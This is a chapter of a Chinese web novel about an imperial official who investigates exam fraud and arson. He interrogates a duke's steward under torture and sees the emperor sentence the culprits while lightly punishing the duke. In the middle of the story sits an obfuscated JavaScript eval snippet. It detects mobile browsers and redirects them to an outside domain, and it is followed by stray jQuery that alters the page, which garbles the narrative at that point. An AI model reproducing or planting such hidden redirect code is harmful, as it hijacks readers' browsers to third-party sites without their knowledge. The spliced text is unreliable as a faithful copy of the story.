“还嘴硬？”萧砚舟冷笑：“上夹棍！我倒要看看，是你骨头硬，还是我刑具硬！”
夹棍刚套上刘管家手指，差役轻轻一收，他就疼得惨叫，额头上的汗往下掉。
他这年纪哪禁得住这疼，没一会儿就熬不住了，声音发颤：“我说！我说！别再用刑了！”
萧砚舟让差役停下，看着他：“说吧，谁指使你的？为啥要在贡院舞弊纵火？”
刘管家喘着气，眼神躲闪，半天才说：“是……是我自己干的！跟别人没关系！”
“自己干的？”萧砚舟盯着他：“你一个管家，哪来的胆子动科举的主意？又哪来的本事让张彪、赵属官都听你的？老实说，是不是英国公让你干的？”
这话一出，刘管家身子猛地一颤，赶紧摇头：“不是！跟国公爷没关系！是我自己...我看三公子被您判刑，在吃苦，心里不忿。三公子平时待我不错，我就想报复您，才找人行舞弊、放火，想让您丢官！”
“你以为我会信？”萧砚舟拍桌子：“没有英国公撑腰，你敢做这些事？再不说实话，接着用刑！”
可不管萧砚舟怎么问，刘管家就是咬定是自己报复，绝口不提英国公，还哭着说：“萧大人，我真没骗您！要是有半句假话，天打雷劈！您别再逼我了！”
萧砚舟看着他这死猪不怕开水烫的样，心里明白——刘管家打定主意背锅，再审也问不出啥。
好在张彪等人的供词能串起来，加上刘管家自己认罪，案子也能结了。
于是不打算继续审问，起身离开。
林墨一脸不解：“大人，刘管家肯定是被英国公指使的，咋不接着审了？再审审说不定能问出实据！”
萧砚舟叹了口气：“审不出了！刘管家嘴硬得很，知道招了英国公也不会饶他，还不如硬扛着，说不定英国公还能保他家人。再问下去也是白费功夫，咱们手里现有的证据，够交差了。”
“别琢磨了，把所有供词、证据都整理好，咱们现在去皇宫见皇上——五天期限快到了，得赶紧把案子交上去。”
到了皇宫，萧砚舟把一叠供词和证据往御案上一递，又把审讯刘管家、抓卖题人、黑衣人灭口的经过说清楚。
末了，他往前站了站，语气斩钉截铁：“皇上，刘管家就是个府里的管家，没这么大的胆子动科举，更没本事调动人手舞弊、放火！这里头的主使，肯定是英国公！”
皇上翻供词的手顿了顿，抬头看他：“你有证据？”
“眼下没直接证据，”萧砚舟没回避，声音却没软，“可所有线索都往英国公府引——卖题的说是刘管家指使，黑衣人是刘管家派去灭口的，刘管家又是英国公的人。英国公之前因为张腾远的事记恨臣，这次搅乱科考，就是想栽赃臣，让臣丢官！臣恳请皇上，下旨处置英国公，还科举一个清白，也给天下学子一个交代！”
“这些只能说明刘管家不安分，扯不到英国公头上。”皇上叹了口气，声音放低了些，“你以为朕不知道这里头可能有猫腻？可英国公是老勋贵，家里世代跟着朝廷，要是没实锤就治他的罪，其他勋贵们该有想法了，朝堂也得乱。这事得徐徐图之，不能急。”
萧砚舟心里不服气，往前又走了一步：“皇上，可不能就这么算了！要是轻拿轻放，以后勋贵们都学英国公，把科举当儿戏，那寒门学子还有活路吗？就算不能治他的罪，也得让他知道厉害，不能轻易放过！”
皇上看了萧砚舟一眼，嘴角勾了勾：“你这性子还是这么急。朕没说要放过他。”
他顿了顿，手指敲了敲御案，“这样，刘管家、张彪这些直接动手的，按律判**，明天午时问斩；**的考生取消资格，流放三千里——这是给百姓和学子一个交代。至于英国公……”
皇上沉吟了一下，继续说：“就定他个御下不严的罪，罚他三年俸禄，再让他闭门思过半年。这样既没重罚他，也没轻饶，勋贵们说不出啥，百姓那边也能交代过去。你看怎么样？”
萧砚舟心里还是有点不痛快，可也知道皇上说的是实情——没实锤就动老勋贵，确实容易出乱子。
他拱了拱手：“皇上考虑周全。”
皇上笑着说，“你能在五天内把案子结了，已经做得很好了。下去吧，明天早朝，朕会宣布判决。”
萧砚舟点点头，又拱了拱手：“谢皇上！臣告退！”
说完，才转身退出大殿。
走出皇宫，萧砚舟心里虽有遗憾，但自己结案也算松了口气。
第二天早朝，文武百官刚站定，皇上就看向萧砚舟：“萧砚舟，贡院的案子查得怎么样了？给众卿说说。”
萧砚舟往前一步，把案情从头到尾说清楚，末了话锋一转，目光直盯英国公：“皇上，臣还要**英国公！刘管家不过是个府中管家，若无英国公在背后指使，他绝无胆量搅乱科考、纵火诬陷！臣恳请皇上，彻查英国公，还科举公道！”
这话一出，朝堂上瞬间安静下来，所有人的目光都落在英国公身上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419770|174112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
英国公脸“唰”地红了，赶紧出列，对着皇上躬身：“皇上明鉴！萧大人这是血口喷人！刘管家做的事，我一点都不知道，怎么可能指使他？他这是为了找替罪羊，故意攀咬老臣！”
“攀咬？”萧砚舟冷笑一声，“英国公，您府里的人偷偷给张彪送银子，刘管家跑的时候，又是您府里的人掩护——这些事，您怎么解释？再说，他就是一个管家，哪来的本事调动兵士、买通考官？不是您指使，难道是他自己凭空生出这么大的能耐？”
英国公被问得哑口无言，急得手都抖了，只能反复说：“皇上，臣真的不知道！是刘管家自己糊涂，跟臣没关系啊！”
旁边几个勋贵大臣也赶紧出来帮腔：“皇上，英国公是老臣了，世代忠良，断不会做这种事！定是刘管家私下搞鬼，萧大人误会了！”
萧砚舟还想再争，皇上却抬手打断了：“好了，都别吵了。”
他扫了眼殿内，慢悠悠开口，“萧砚舟，你说英国公主使，有实证吗？总不能凭猜测定案。”
萧砚舟只是想要表明态度，反正也定不了英国公的罪。
“皇上，就算没有直接证据，英国公身为家主，管家闹出这么大的事，他也难辞其咎！如果没有国公府，那刘管家哪能做出如此大事，无论如何英国公也脱不了干系。”
“皇上明鉴！是臣御下不严，是臣没管好家里人，臣愿意领罚！但臣真的没指使刘管家，还请皇上明察！”
皇上点点头，心里早有了主意：“英国公，朕相信你是不知情的！刘管家、张彪、赵属官、王二，参与舞弊纵火，罪大恶极，判**，今日午时问斩！**考生，取消资格，流放三千里！”
他顿了顿，看向英国公：“英国公，念你是老臣，又无实据证明你指使，就定你个御下不严的罪，罚三年俸禄，闭门思过半年。以后管好府里的人，再出这种事，朕可就不这么轻饶了！”
英国公连忙磕头：“谢皇上开恩！臣一定好好管教府中人，绝不再犯！”
萧砚舟也躬身：“皇上圣明！”
其他大臣也纷纷附和：“皇上处置得当！”
皇上摆了摆手：“好了，案子结了，众卿还有其他事要奏吗？没有的话，退朝吧。”
退朝后，英国公走在后面，狠狠瞪了萧砚舟一眼，却没敢多说——能保住官职和命，已经是万幸了。
萧砚舟看着他的背影，心里琢磨着：这次虽没治他的重罪，可也让他受了教训，以后再想搞事，可得掂量掂量。